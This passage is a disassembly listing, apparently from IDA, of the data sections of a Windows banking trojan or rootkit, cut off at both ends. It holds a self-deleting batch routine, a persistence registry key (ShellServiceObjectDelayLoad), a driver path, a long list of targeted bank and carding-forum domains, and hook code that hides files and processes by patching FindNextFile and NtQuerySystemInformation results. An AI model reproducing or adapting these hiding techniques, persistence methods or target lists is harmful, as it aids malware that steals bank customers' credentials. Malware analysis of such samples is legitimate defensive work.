aCmd_exeCStartC	db 'cmd.exe /C start c:\boot.sys',0
		align 4
		dd 3DDh	dup(0)
dword_40DFBC	dd 0							; sub_40ACD5+D3r
dword_40DFC0	dd 0							; sub_401DE8+456w ...
		align 10h
dword_40DFD0	dd 40h dup(0)						; sub_4096E4+61Co ...
dword_40E0D0	dd 0							; sub_40364E:loc_4036D0r
		dd 442h	dup(0)
dword_40F1DC	dd 0							; sub_401DE8+20Bw ...
dword_40F1E0	dd 0							; sub_401DE8+3EEr ...
dword_40F1E4	dd 0							; sub_406E3F+1024r ...
byte_40F1E8	db 0			; DATA XREF: sub_401DE8+11Dw
		align 10h
dword_40F1F0	dd 40h dup(0)						; sub_40A4E2+3A3o ...
dword_40F2F0	dd 0							; sub_402B12+DBw ...
		dd 0FFh	dup(0)
dword_40F6F0	dd 0							; sub_40383E+8Er
		dd 41Eh	dup(0)
dword_41076C	dd 0							; sub_408C98+89Er ...
dword_410770	dd 0							; .text:00401C53r
		dd 433h	dup(0)
dword_411840	dd 0				dd 0FFh	dup(0)
dword_411C40	dd 785C7325h						; sub_404201+99r
aSlfdlnt_bat	db 'slfdlnt.bat',0
		dd 0
		dd 25000000h, 6D635C73h, 69702E64h, 66h, 0
		dd 6D635C00h, 78652E64h, 65h, 0
		dd 6F6C3A00h, 0A0D706Fh, 6C656440h, 3E732520h, 0D6C756Eh
		dd 6669400Ah, 69786520h, 25207473h, 6F672073h, 6C206F74h
		dd 0D706F6Fh, 6564400Ah, 7325206Ch, 6C756E3Eh, 0A0Dh, 0
		dd 73250000h, 20432F20h, 7325h,	3F3h dup(0)
dword_412C90	dd 0							; .text:0040262Fr
		dd 400h	dup(0)
dword_413C94	dd 0							; sub_40ACD5+EFr
dword_413C98	dd 0							; sub_408C98+904r ...
		align 10h
byte_413CA0	db 0			; DATA XREF: sub_401DE8+3F6w
		align 8
byte_413CA8	db 0			; DATA XREF: sub_401DE8+56w
					; sub_401DE8+5Br ...
		align 4
dword_413CAC	dd 0							; sub_401DE8+1B5w ...
dword_413CB0	dd 40h dup(0)						; sub_4096E4+873o ...
dword_413DB0	dd 0							; sub_402B12+CFr ...
		dd 0FFh	dup(0)
dword_4141B0	dd 0							; sub_40811F+87r
		dd 43Fh	dup(0)
dword_4152B0	dd 0							; .text:004019B0r
		dd 413h	dup(0)
dword_416300	dd 0							; sub_40470D+59r
		dd 423h	dup(0)
dword_417390	dd 0							; .text:loc_4022C7r
		dd 3F7h	dup(0)
dword_418370	dd 94h							; sub_40A4E2+FBo
		dd 5, 1, 0A28h
dword_418380	dd 2		aServicePack2	db 'Service Pack 2',0
		align 4
		dd 1Fh dup(0)
dword_418410	dd 0							; sub_4052CE:loc_40535Er
		dd 45Bh	dup(0)
dword_419580	dd 0							; .text:004014A0r
		dd 44Ah	dup(0)
byte_41A6AC	db 0			; DATA XREF: sub_401DE8+3ACw
					; sub_401DE8+3B1r
		align 10h
dword_41A6B0	dd 0							; sub_401DE8+D5r ...
dword_41A6B4	dd 0		dword_41A6B8	dd 0							; sub_402355+10Er ...
		align 10h
dword_41A6C0	dd 6972645Ch						; sub_40129C+98r
aVersNdisrd_sys	db 'vers\ndisrd.sys',0
		dd 0
		dd 6E650000h, 656C6261h, 667364h, 0
		dd 73250000h, 2E73255Ch, 657865h, 437h dup(0)
dword_41B7D0	dd 0							; sub_40A4E2+7A3r ...
		align 10h
dword_41B7E0	dd 0							; sub_4068DC:loc_40695Cr
		dd 417h	dup(0)
dword_41C840	dd 0							; sub_408C98+250r
dword_41C844	dd 0							; sub_408C98+71r ...
dword_41C848	dd 0							; sub_402563+11r
		align 10h
dword_41C850	dd 463Ah						; sub_4033BC+8Dr
		dd 430h	dup(0)
dword_41D914	dd 0							; sub_401DE8:loc_401E69w ...
dword_41D918	dd 0							; sub_408C98+8C0r ...
dword_41D91C	dd 0							; sub_40ACD5+BBr
dword_41D920	dd 0							; sub_408C98+3D0r ...
dword_41D924	dd 0							; sub_4024F3+5Er
dword_41D928	dd 400000h						; sub_408C98+12Cr ...
dword_41D92C	dd 0							; sub_401DE8+A3w ...
dword_41D930	dd 3430257Bh						; sub_403A31:loc_403ABDr
aX04x04x04x04x0	db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0
		align 4
		dd 0
a08x		db '%08X',0
		align 4
		dd 73250000h, 2E73255Ch, 6C6C64h, 0
		dd 534C4300h, 255C4449h, 6E495C73h, 636F7250h, 76726553h
		dd 32337265h, 0
		dd 68540000h, 64616572h, 4D676E69h, 6C65646Fh, 0
		dd 70410000h, 6D747261h, 746E65h, 0
		db    0
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelay'
		db 'Load',0
		align 4
		dd 432h	dup(0)
dword_41EAC4	dd 0							; sub_40ACD5+9Dr
		align 10h
dword_41EAD0	dd 40h dup(0)						; sub_40A4E2+37Do ...
byte_41EBD0	db 0			; DATA XREF: sub_401DE8+169w
		align 4
dword_41EBD4	dd 0							; sub_408C98+134r ...
		align 10h
byte_41EBE0	db 0			; DATA XREF: sub_406E3F+176o
					; sub_406E3F+D2Eo ...
byte_41EBE1	db 0			; DATA XREF: sub_406E3F+ECFr
byte_41EBE2	db 0			; DATA XREF: sub_406E3F+ED8r
byte_41EBE3	db 0			; DATA XREF: sub_406E3F+EE1r
		dd 3FFFh dup(0)
byte_42EBE0	db 0			; DATA XREF: sub_401DE8+257w
					; sub_401DE8+25Cr
		align 4
dword_42EBE4	dd 0							; .text:004080D1r ...
		align 10h
dword_42EBF0	dd 0							; .text:loc_401814r
		dd 440h	dup(0)
dword_42FCF4	dd 0		dword_42FCF8	dd 0							; sub_402355+28r
dword_42FCFC	dd 0							; sub_408C98+276r ...
byte_42FD00	db 0			; DATA XREF: sub_401DE8+2E9w
					; sub_401DE8+2F3r ...
		align 10h
dword_42FD10	dd 0							; sub_4045EF:loc_4045F8r
		dd 433h	dup(0)
dword_430DE0	dd 0							; sub_406DB4:loc_406E35r
		dd 429h	dup(0)
dword_431E88	dd 0							; sub_408C98+8E2r ...
dword_431E8C	dd 0							; sub_40ADF7+23Ar ...
dword_431E90	dd 0							; sub_408C98+385r ...
		align 10h
dword_431EA0	dd 0							; .text:loc_408793r
		dd 3F7h	dup(0)
aCWindowsSystem	db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_403BAD+7Fo
					; sub_403D6F+24Bo ...
		dd 3Bh dup(0)
byte_432F80	db 0			; DATA XREF: sub_40133E+8Fo
					; sub_4081B0+FEw ...
		align 4
		dd 3Fh dup(0)
dword_433080	dd 0							; .text:00401AB7r
		dd 431h	dup(0)
dword_434148	dd 0							; sub_408C98+919r ...
dword_43414C	dd 0							; sub_408C98+92Er
dword_434150	dd 0							; sub_401565:loc_4015B6r
		dd 3FFh	dup(0)
dword_435150	dd 0							; sub_404FE7+8Er
		dd 423h	dup(0)
dword_4361E0	dd 0							; .text:loc_401DDEr
		dd 453h	dup(0)
dword_437330	dd 0							; .text:0040170Fr
		dd 413h	dup(0)
dword_438380	dd 0							; .text:loc_408A57r
		dd 3FEh	dup(0)
dword_43937C	dd 0							; sub_40ADF7+242r ...
byte_439380	db 0			; DATA XREF: sub_401DE8+42Cw
		align 10h
dword_439390	dd 0							; .text:loc_40887Cr
		dd 41Ah	dup(0)
_bss		ends

; Section 3. (virtual address 0003B000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 0003B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 43B000h
		dd offset dword_40D000
		dd 43A3FCh, 8000h, 0
dword_43B010	dd 0							; sub_40109A+110w ...
dword_43B014	dd 12FF74h			dd 0
dword_43B01C	dd 0		dword_43B020	dd 1							; sub_401219+5Ar
dword_43B024	dd 14A4E0h						; sub_401219+54r
dword_43B028	dd 1471D8h						; sub_401219+4Er
dword_43B02C	dd 0							; sub_40109A:loc_401208r
dword_43B030	dd 0		dword_43B034	dd 0							; sub_40109A+87r ...
dword_43B038	dd 0		dword_43B03C	dd 14h dup(0)						; sub_40109A+8Fo
dword_43B08C	dd 0		dword_43B090	dd 0							; sub_40109A+32w
dword_43B094	dd 7							; sub_408C98+1BCr ...
dword_43B098	dd 12h							; sub_408C98+13Ar ...
dword_43B09C	dd 3Ah							; sub_40129C:loc_4012C3r ...
aKkqhook_28	db 'KKQHOOK_28',0       ; DATA XREF: sub_40A482+14o
					; sub_40A4E2+4E2o
aC		db 'c',0
		align 10h
dword_43B0B0	dd 0							; sub_4096E4+147r ...
dword_43B0B4	dd 46h							; sub_4096E4+CEEr ...
off_43B0B8	dd offset aSiliconfirewar ; DATA XREF: sub_4096E4+100r
					; sub_4096E4+14Dr
					; "siliconfireware.ru"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aProdexteam_net ; "prodexteam.net"
		dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm"
		dd offset aWww_cbr_ru	; "www.cbr.ru"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu"
		dd offset aNew_egg_com	; "new.egg.com"
		dd offset aWww_baltbank_r ; "www.baltbank.ru"
		dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
		dd offset aOlb2_nationet_ ; "olb2.nationet.com"
		dd offset aWww_bbin_ru	; "www.bbin.ru"
		dd offset aMasterX_com	; "master-x.com"
		dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
		dd offset aWww_masterbank ; "www.masterbank.ru"
		dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
		dd offset aWww_bmo_com	; "www.bmo.com"
		dd offset aWww_bankofmadu ; "www.bankofmadura.com"
		dd offset aWww_cibc_com	; "www.cibc.com"
		dd offset aWww_vtb_ru	; "www.vtb.ru"
		dd offset aWww_cwbank_com ; "www.cwbank.com"
		dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
		dd offset aAlfabank_ru	; "alfabank.ru"
		dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
		dd offset aWww_mmbank_ru ; "www.mmbank.ru"
		dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
		dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
		dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aAsmworm_com	; "asmworm.com"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
		dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
		dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
		dd offset aWww_sbrf_ru	; "www.sbrf.ru"
		dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
		dd offset aWww_bankofindi ; "www.bankofindia.com"
		dd offset aWww_icbank_ru ; "www.icbank.ru"
		dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
		dd offset aWww_spyinstruc ; "www.spyinstructors.com"
		dd offset aWww_kmb_ru	; "www.kmb.ru"
		dd offset aWww_netmagiste ; "www.netmagister.com"
		dd offset aWww_nomos_ru	; "www.nomos.ru"
		dd offset aWww_absolutban ; "www.absolutbank.ru"
		dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
		dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
		dd offset aWww_allahabadb ; "www.allahabadbank.com"
		dd offset aMasterX_comFor ; "master-x.com/forum/"
		dd offset aWww_rbc_com	; "www.rbc.com"
		dd offset aWww_ovk_ru	; "www.ovk.ru"
		dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
		dd offset aProrat_net	; "prorat.net"
		dd offset aYambo_biz	; "yambo.biz"
		dd offset aKidosBank_ru	; "kidos-bank.ru"
		dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
		dd offset aBarclays_com	; "barclays.com"
		dd offset aTotallyfreeban ; "totallyfreebanking.com"
		dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
		dd offset a53bank_com	; "53bank.com"
		dd offset aWww_uralsib_ru ; "www.uralsib.ru"
		dd offset aGrepwareFacili ; "grepware-facility.ru"
		dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
		dd offset aGutabank_ru	; "gutabank.ru"
		dd offset aOpenbank_com	; "openbank.com"
		dd offset aSeclab_ru	; "seclab.ru"
		dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
		dd offset aSecuritylab_ru ; "securitylab.ru"
		dd offset aRoyalbank_com ; "royalbank.com"
		dd offset aFethard_biz	; "fethard.biz"
		dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
		dd offset aGronxplanets_r ; "gronxplanets.ru"
		dd offset aChevychasebank ; "chevychasebank.com"
aM_kvwoh	db 'm.K‚woH',0
aSoftwareMicros	db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_4096E4+4FFo
					; sub_4096E4+597o ...
aOfstkkq	db 'ofstkkq',0          ; DATA XREF: sub_4096E4+4FAo
					; sub_4096E4+592o
		align 4
aOfstkkqc	db 'ofstkkqc',0         ; DATA XREF: sub_4096E4+5F6o
					; sub_4096E4+795o
aRT_2		db 'R t',0
		align 4
dword_43B214	dd 0							; sub_40ADF7:loc_40AF71r ...
dword_43B218	dd 0							; sub_40ADF7+88r ...
aWtAj		db 'wt,aj',0
dword_43B222	dd 836220h			align 4
dword_43B228	dd 3Bh							; sub_401DE8+8Dw ...
		align 10h
		dd 12h
dword_43B234	dd 0							; .text:loc_401432r ...
dword_43B238	dd 6A3Fh, 7, 11hdword_43B244	dd 0							; sub_401565:loc_401560r ...
aVyfuC		db '+vyfu C',0          ; DATA XREF: sub_4015C0+16o
aPzlvp4		db 'PzL‚P4',0           ; DATA XREF: sub_4015C0+59o
a7cx		db '#7CX|',0            ; DATA XREF: sub_4015C0+96o
		align 10h
		dd 1, 0Bh
dword_43B268	dd 0							; .text:loc_4016BAr ...
aXd9		db ' xd9',0             ; DATA XREF: sub_401719+52o
		align 4
		dw 8
		unicode	0, <>,0
		dw 0Ah
		unicode	0, <>,0
dword_43B27C	dd 0							; .text:loc_4017B7r ...
a8l7		db '8l 7',0             ; DATA XREF: sub_40181E+1Bo
aYb		db 'Y',0               ; DATA XREF: sub_40181E+49o
aM7		db 'm7',0               ; DATA XREF: sub_40181E+98o
		align 4
		dd 1, 0Bh
dword_43B294	dd 0							; .text:loc_40195Br ...
aXd9_0		db ' xd9',0             ; DATA XREF: .text:00401A02o
		align 10h
		dd 4, 0Eh
dword_43B2A8	dd 0							; .text:loc_401A4Cr ...
aA_		db '<A*_',0             ; DATA XREF: sub_401AC1+52o
aB61		db 'B 61',0             ; DATA XREF: sub_401AC1+6Eo
		align 4
		dd 4, 0Eh
dword_43B2C0	dd 0							; .text:loc_401BE8r ...
aA__0		db '<A*_',0             ; DATA XREF: sub_401C5D+3Fo
		align 4
		dd 1, 0Eh
dword_43B2D4	dd 0							; .text:loc_401D7Fr ...
byte_43B2D8	db 0			; DATA XREF: sub_401DE8+C1o
dword_43B2D9	dd 30396Ch	byte_43B2DD	db 0			; DATA XREF: sub_401DE8+385o
word_43B2DE	dw 692Fh		; DATA XREF: sub_401DE8+39Ao
		dd 0
off_43B2E4	dd offset loc_401E69	; DATA XREF: sub_401DE8+75r
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_4020B1
		dd offset loc_402033
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_401EE9
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_401EE9
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_401EE9
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EB4
		dd offset loc_401EB4
		dd offset loc_401EE9
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401EE9
		dd offset loc_401EE9
		dd offset loc_401F5B
		dd offset loc_401F86
		dd offset loc_401FFE
		dd offset loc_401FC4
		dd offset loc_401ED8
		dd offset loc_401FB2
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401FB2
		dd offset loc_401FC4
		dd offset loc_401FB2
		dd offset loc_401FB2
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
off_43B514	dd offset loc_401E69	; DATA XREF: sub_401DE8+281r
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401FDB
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401FEE
		dd offset loc_401FEE
		dd offset loc_401FEE
		dd offset loc_401FEE
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401ED8
		dd offset loc_401FFE
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FB2
		dd offset loc_401FB2
		dd offset loc_402014
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401FB2
		dd offset loc_401FC4
		dd offset loc_402020
		dd offset loc_4020B1
		dd offset loc_402014
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E7B
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401E69
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401ED8
		dd offset loc_401FFE
		dd offset loc_401FFE
		dd offset loc_401FDB
		dd offset loc_401ED8
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401F0F
		dd offset loc_40202C
		dd offset loc_401F30
		dd offset loc_401F30
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E96
		dd offset loc_401E96
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_401E69
		dd offset loc_401E69
off_43B6E4	dd offset loc_402075	; DATA XREF: sub_401DE8+26Cr
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_4020B1
		dd offset loc_4020AA
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_40208E
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_402075
		dd offset loc_40209B
		dd offset loc_402075
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_402075
		dd offset loc_40209B
		dd offset loc_402075
		dd offset loc_4020AA
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_40209B
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_402075
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_4020AA
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
		dd offset loc_4020B1
aFindnextfilea	db 'FindNextFileA',0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43B873:				; CODE XREF: .data:0043B8BCj
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BA80h
		test	eax, eax
		jz	short loc_43B8BE
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_43B88D:				; CODE XREF: .data:0043B893j
		cmp	byte ptr [ebx],	0
		jz	short loc_43B895
		inc	ebx
		jmp	short loc_43B88D
; ---------------------------------------------------------------------------


loc_43B895:				; CODE XREF: .data:0043B890j
		mov	word ptr [ebx],	463Ah
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FC4B6h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43B8BB
		popa
		jmp	short loc_43B8BE
; ---------------------------------------------------------------------------


loc_43B8BB:				; CODE XREF: .data:0043B8B6j
		popa
		jmp	short loc_43B873
; ---------------------------------------------------------------------------


loc_43B8BE:				; CODE XREF: .data:0043B880j
					; .data:0043B8B9j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
		db 65h,	57h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43B8F4:				; CODE XREF: .data:0043B943j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BB01h
		test	eax, eax
		jz	short loc_43B945
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_43B90E:				; CODE XREF: .data:0043B916j
		cmp	word ptr [ebx],	0
		jz	short loc_43B918
		inc	ebx
		inc	ebx
		jmp	short loc_43B90E
; ---------------------------------------------------------------------------


loc_43B918:				; CODE XREF: .data:0043B912j
		mov	dword ptr [ebx], 46003Ah
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50C63Dh
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43B942
		popa
		jmp	short loc_43B945
; ---------------------------------------------------------------------------


loc_43B942:				; CODE XREF: .data:0043B93Dj
		popa
		jmp	short loc_43B8F4
; ---------------------------------------------------------------------------


loc_43B945:				; CODE XREF: .data:0043B901j
					; .data:0043B940j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 0FFFFh
dword_43B958	dd 0FFFFFFh, 7551744Eh,	53797265h, 65747379h, 666E496Dh
					; DATA XREF: .data:0043BEA4o
		dd 616D726Fh, 6E6F6974h
		db 0
; ---------------------------------------------------------------------------


loc_43B975:				; DATA XREF: .data:0043BEACo
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx
		sub	esp, 10h
		mov	eax, [ebp+14h]
		mov	edi, [ebp+10h]
		mov	ebx, [ebp+0Ch]
		mov	[esp+0Ch], eax
		mov	[esp+8], edi
		mov	[esp+4], ebx
		mov	esi, [ebp+8]
		mov	[esp], esi
		call	near ptr 245BBABh
		mov	[ebp-4], eax
		cmp	esi, 5
		jz	short loc_43B9C5


loc_43B9B1:				; CODE XREF: .data:0043B9CBj
					; .data:0043BA1Ej
		mov	eax, [ebp-4]
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_43B9C5:				; CODE XREF: .data:0043B9AFj
		cmp	edi, 1F40h
		jle	short loc_43B9B1
		jmp	short loc_43B9D3
; ---------------------------------------------------------------------------


loc_43B9CF:				; CODE XREF: .data:0043BA20j
		mov	esi, ebx


loc_43B9D1:				; CODE XREF: .data:0043BA18j
		add	ebx, eax


loc_43B9D3:				; CODE XREF: .data:0043B9CDj
		pusha
		mov	eax, [ebx+44h]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_43B9E1:				; CODE XREF: .data:0043B9F4j
		bt	eax, ebx
		jb	short loc_43B9EC
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43B9F0
; ---------------------------------------------------------------------------


loc_43B9EC:				; CODE XREF: .data:0043B9E4j
		mov	byte ptr [esp+ebx], 31h


loc_43B9F0:				; CODE XREF: .data:0043B9EAj
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43B9E1
		push	esp
		call	near ptr 0C4FC608h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43BA07
		popa
		jmp	short loc_43BA1A
; ---------------------------------------------------------------------------


loc_43BA07:				; CODE XREF: .data:0043BA02j
		popa
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_43BA16
		mov	dword ptr [esi], 0
		jmp	short loc_43BA1A
; ---------------------------------------------------------------------------


loc_43BA16:				; CODE XREF: .data:0043BA0Cj
